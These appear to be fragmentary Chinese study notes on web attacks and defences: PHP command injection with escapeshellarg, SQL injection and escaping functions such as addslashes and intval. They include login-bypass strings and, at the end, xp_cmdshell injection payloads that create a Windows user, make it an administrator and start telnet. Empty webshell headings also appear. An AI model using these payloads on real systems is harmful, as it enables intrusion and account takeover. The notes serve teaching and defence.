/
命令注入攻击:
使用的是system函数执行windows系统dir命令,来显示URL参数dir所指定的子目录的内容。 可以使用escapeshellarg函数来处理命令的参数,防止URI来进行命令注入攻击
使用的是passthru函数执行windows系统命令,读取URL参数username所指定的来访者账号,并显示来访者的登录日志的内容。 可以使用escapeshellarg函数来处理命令的参数,防止URI来进行命令注入攻击
/
攻击实例:绕过账号、密码的检查
万能密码:2'or'1
攻击1的防护方法是:字符串变量的过滤方式(使用addslashes函数)。
使用addslashes函数来将SQL语句中的单引号、双引号、“\”及NULL字符加上反斜线“\”。
例如:addslashes("O'reilly")会变成:"O\'reilly"
注意,如果在php.ini文件中将magic_quotes_gpc设置为On,那么在GET、POST和COOKIE的数据上会自动执行addslashes函数。如果再调用一次addslashes函数,就会变成加了两次反斜线“\”而产生错误。
点击“防护1”,进行输入,“账号”文本框中输入“'OR"='”,“密码”文本框中输入“'OR"='”,网页不会提交。
/
PHP语法:stripslashes(string)
/
mysql_real_escape_string(string,connection)
参数描述
string必需。规定要转义的字符串。
connection可选。规定 MySQL 连接。如果未规定,则使用上一个连接。
/
在循环中使用,is_numeric() 判断是否是数字
/
在ASP中Replace的语法为:Replace("字符串","要被替代的字符串","替代后的字符串","开始字符位置","替换次数")
/
攻击2实例:删除数据库的所有记录
攻击2的防护也可以使用addslashes函数来将SQL语句中的单引号、双引号、“\”及NULL字符加上反斜线“\”。
/
攻击3实例:盗取密码
SQL注入攻击(SQL Injection)之所以会发生,是由于SQL语句被篡改的缘故。因此防御的方法,就是检查SQL语句中的变量数据是否是正确的格式。
(1)如果数据确定是整数,就使用intval函数来将数据转换成整数。例如,id值通常是由MySQL数据库产生的整数类型的数字,因此使用intval函数来将id值转换成整数,以避免id值被窜改。
(2)如果数据确定是浮点数,就使用floatval或doubleval函数来将数据转换成浮点数。floatval与doubleval函数的功能与语法相同。
(3)如果数据确定是字符串,就使用addslashes函数来将单引号、双引号、“\”、及NULL字符加上反斜线“\”。
/
asp一句话木马:
php一句话木马:
/
1.添加用户
'exec dbo.xp_cmdshell 'net user X /add ';
2.更改密码
'exec dbo.xp_cmdshell 'net user X password ';
3.提升到管理员权限
'exec dbo.xp_cmdshell 'net localgroup administrators X /add ';
4.打开telnet服务
'exec dbo.xp_cmdshell 'net starttlntstr ';